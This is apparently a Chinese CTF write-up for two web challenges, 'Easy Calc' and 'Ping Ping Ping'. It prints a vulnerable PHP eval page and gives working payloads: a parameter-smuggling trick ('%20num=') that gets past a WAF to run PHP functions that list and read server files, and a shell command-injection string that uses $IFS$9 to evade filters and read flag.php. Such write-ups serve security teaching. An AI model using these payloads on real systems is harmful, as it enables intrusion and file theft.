[RoarCTF 2019]Easy Calc
一个计算器页面可以实现简单的数学式计算,在elements中能看到实际上是提交给了calc.php页面,并且注释中提示存在waf。请求calc.php页面可以直接看到源码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
这里进行了一些过滤并提供了一个命令执行,我们尝试提交?num=phpinfo()
返回了403,可能是代理中也存在WAF,我们尝试了一下发现所有字母都被过滤,但是发现WAF只对num变量进行了过滤,于是我们可以尝试提交其他参数,然后在php中解析为num。
在现代计算机模型中,常常采用分层设计的思路,每层只负责自己的任务,然后向上/下层提供接口。这样可以使项目设计起来更容易同时也降低了代码耦合。但是这样也可能存在一些问题,例如各个层级或者同一层级不同时段对同一目标的实现标准不同。正常情况下即使部分标准不同也能正常运行,但是如果攻击者利用了这种差异,就有可能产生一些安全问题。例如php中对session进行序列化和反序列化的方式不同导致的命令执行。
本题中利用的是WAF与php对参数解析方式不同导致的漏洞,该漏洞导致了http参数走私。
parser_str()函数是php中的一个字符串解析函数,它可以将字符串解析为变量或者数组。php会使用该函数对get和post提交的数据进行解析并储存到$_GET和$_POST数组中。为了保证变量名/键名有效,该函数会对键名进行一些替换。关于该部分,利用PHP的字符串解析特性Bypass一文中进行了较为详细的说明。
删除变量名前的空格(%20)和+(%2b),将变量名中的部分字符替换为_(%5f),包括空格(%29) +(%2b) .(%2e) [(%5b),删除变量名后的空白符(%00)。
而在本题的WAF中只会对num变量进行过滤,因此产生了参数走私漏洞。我们可以在num前加上空格或者+然后在提交payload,例如+num=phpinfo()
提交payload %20num=var_dump(scandir(chr(47))),可以看到根目录下有一个f1agg文件,再提交payload %20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))即可获取flag
[GXYCTF2019]Ping Ping Ping
进入页面要求提供ip,根据题目名字能猜到后台进行了ping操作。尝试bash命令执行,提交参数ip=127.0.0.1|ls可以看到有一个flag.php文件。尝试cat读取文件发现空格被过滤。我们使用$IFS$9代替空格,然后发现flag也被过滤,于是我们提交ip=127.0.0.1;b=ag.php;a=fl;cat$IFS$9$a$b|base64,成功读取flag。
网友评论